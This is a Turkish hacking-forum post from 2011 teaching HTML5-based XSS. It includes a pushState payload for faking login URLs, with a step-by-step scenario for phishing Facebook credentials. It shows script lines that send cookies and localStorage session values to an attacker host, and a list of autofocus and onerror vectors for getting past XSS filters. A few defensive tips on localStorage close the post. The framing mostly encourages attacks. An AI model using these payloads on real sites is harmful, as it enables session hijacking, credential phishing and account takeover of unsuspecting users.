İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

HTML5 ile Yeni Nesil Xss

21-11-2011 12:41
#1
Üyelik tarihi:
09/2010
Nereden:
Konya
Mesajlar:
19
Teşekkür (Etti):
1
Teşekkür (Aldı):
3
Konular:
6
Ticaret:
(0) %
------ Alıntıdır ------
PushState() Kullanarak XSS

HTML5 ile gelen history.pushState(), bize gecmisimizi duzenleyebilme imkani sunuyor. AJAXwebsitelerinde kolayca gecmisi degistirerek URL’yi degistirmek icin kullanilmak uzere tasarlandi bu fonksiyon. PushState() ile kullanicilar adres cubugunda gozuken URL’yi dokumani yenilemedendegistirebiliyor. Bazilarinizin aklina bu asamada ilginc fikirler gelmistir tahminimce

Bu ozellik ile saldirgan bir kisi XSS kullanarak kurbanin bulundugu adresi degistirebilir. Asagidaki ornek linke tiklayin ve acigi kendiniz canli olarak gorebilirsiniz. Herzamanki gibi zararsizdir korkmayin Acik sadece HTML5 destekleyen yeni tarayicilarda calismaktadir. Ayrica Safari 5’te de pushState() fonksiyonu calisiyor fakat tarayicinin guvenlik onlemleri nedeniyle injection yapilamiyor.

Linki Firefox ya da Opera ile acmaniz gerekiyor cunku Google Chrome ve Internet Explorer’in XSS filtreleri izin vermiyor.

Linkimize gelelim:

Bu site acunetix sirketinin bizim gibi bugcularin aciklari denememiz icin olusturdugu bir sitedir.
[PHP]
http://testasp.vulnweb.com/Search.asp?tfSearch=”>**********var stateObj = { foo: “bar” }; history.pushState(stateObj, “page 2″, “login.asp”);</script>
[/PHP]
Linki acarken URL’ye dikkatlice bakin. Sayfanin degismeden URL’nin “login.asp” sayfasi seklindedegistigini goreceksiniz.

Kullandigimiz kod:

[PHP]“>**********history.pushState({foo:”bar”}, “Please Login”, “login.asp”);</script>[/PHP]

Yanlis anlasilmalari onlemek icin bir aciklama yapmam gerekiyor. Bu saldiri ile URL’nin tamamini farkli bir URL ile degil, ayni domain uzerinde farkli bir yol ile degistirebilirsiniz. Bu ne isimize yarar derseniz eger su sekilde asama asama anlatayim:

1. http://facebook.com/tht/dosya?q=XSS gibi bir linkte XSS oldugunu dusunelim.

2. Saldirgan kurbana gonderdigi pushState() iceren XSS linki ile kurbanin URL’sini facebook.com/login.php seklinde degistirir. Bu, tarayici login.php sayfasini acmadigi halde adres cubugunun facebook.com/login.php gibi gorunmesini saglar.

3. Kurban linke tiklar ve icerigi gorebilmesi icin oturum acmasi gerektigini dusunur. Kurbanimiz fake facebook sayfalarindan haberdar oldugu icin hemen sayfanin kaynak kodlarina bakar fakat zararli hicbirseybulamaz cunku saldirganin URL’sine degil facebook.com/login.php kaynak kodlarina bakmis olur.

4. Kurban rahatca giris yapabilecegini dusunup “Kullanici Adi” “Sifre”yi girer ve saldirgan oturumu calar.

Bu yontem ile “Phishing” saldirilarini basariyla gerceklesirebilirsiniz ve “Fake” olayina yepyeni bir bakis getirebilirsiniz.



Local Storage Kullanarak XSS

“LocalStorage” kullanici tarafli bir depolama mekanizmasidir ve JavaScript ile bu depolama sistemine erisilebilir. LocalStorage’in yarari ise cookie, flash nesneler gibi diger depolama seceneklerinden daha fazla alana sahip olmasidir. Buna ek olarak, cookielerin tam tersine veri tarayici tarafindan otomatik bir sekildeher bir istek ile birlikte gonderilmiyor.

Sistemi ozetle anladigimiza gore simdi bu depolama sisteminde olusan zaafiyete bakalim..

XSS Ile Cookie’den Session ID Calma Islemi
[PHP]
******************.write(”<img src= “http://saldiringansitesi”>cookie=”+********.cookie+”’>”); </script>[/PHP]

XSS Ile LocalStorage Uzerinden Session ID Calma Islemi
[PHP]
******************.write(”<img src= “http://attackersite”>cookie=”+localStorage.getItem(’foo’) +”’>”);</script>
[/PHP]
LocalStorage Cookieler icin kullandigimiz “HTTPOnly” islemi ile calismaz ve bu yuzden de HTTPOnly aktif olan cookieleri JavaScript ile alamazken LocalStorage’deki degerleri alabiliriz.


LocalStorage Ile XSS[PHP]

**********alert(localStorage.getItem(’foo’))</script>[/PHP]

URL Scriptlet Ile LocalStorage Degeri Uretmek
[PHP]
javascript:localStorage.setItem(’fooName’,’barValu e’);[/PHP]

URL Scriptlet Ile LocalStorage Degeri Almak
[PHP]
javascript*alert ZararliKod*localStorage.getItem(’fooName’));[/PHP]

JSON Ile URL scriptlet Yoluyla LocalStorage Degeri Uretmek[PHP]

javascript:localStorage.setItem(’fooName’, JSON.stringify(’data1:a,”data2″:b,data3:c’));
[/PHP]
URL Scriptlet Yoluyla LocalStorage Sayisini Almak
[PHP]
javascript*alert ZararliKod*localStorage.length);[/PHP]

Site Ile Iliskili Butun LocalStorage Verisini Silmek
[PHP]
javascript:localStorage.clear()[/PHP]

LocalStorage Ve Guvenligi Ile Ilgili Bilmeniz Gerekenler

1. Oturum IDleri icin LocalStorage kullanmayin. HTTPOnly ve Secure flaglari ile Cookieleri kullanin.

2. Eger bir sekilde cookieleri kullanamiyorsaniz, kullanici tarayiciyi kapattiginda butun veriler silinecek sekilde ayarlamak uzere LocalStorage kullanin.

3. LocalStorage uzerindeki butun bilgiler saldirgan tarafindan degistirilip gorulebilecegi icin, bu depolama sisteminde cok onemli bilgiler saklamayin.



Diger Bazi HTML5 XSS Vektorleri

HTML5 ile sadece yukaridakiler degil daha bircok seyi yapmak mumkundur. Bazi XSS filtrelerini asmak icin asagida verecegim yeni HTML5 XSS vektorlerini kullanabilirsiniz.
[PHP]
<input autofocus onfocus=alert(”tht“)>

<select autofocus onfocus=alert(”tht“)>

<textarea autofocus onfocus=alert(”tht“)>

<keygen autofocus onfocus=alert(”tht“)>

<input type=”text” AUTOFOCUS onfocus=alert(”tht“)>

<video src=1 onerror=alert(”tht“)>

<audio src=1 onerror=alert(”tht“)>

[/PHP]
Kullanıcı İmzası
The_Sayboort
[YOUTUBE]I-qLhJyCxBQ[/YOUTUBE]

21-11-2011 13:09
#2
Bouncer - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2011
Mesajlar:
477
Teşekkür (Etti):
0
Teşekkür (Aldı):
133
Konular:
51
Ticaret:
(0) %
güzel bir kaynak işime yarar sağol kardeş
Kullanıcı İmzası

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı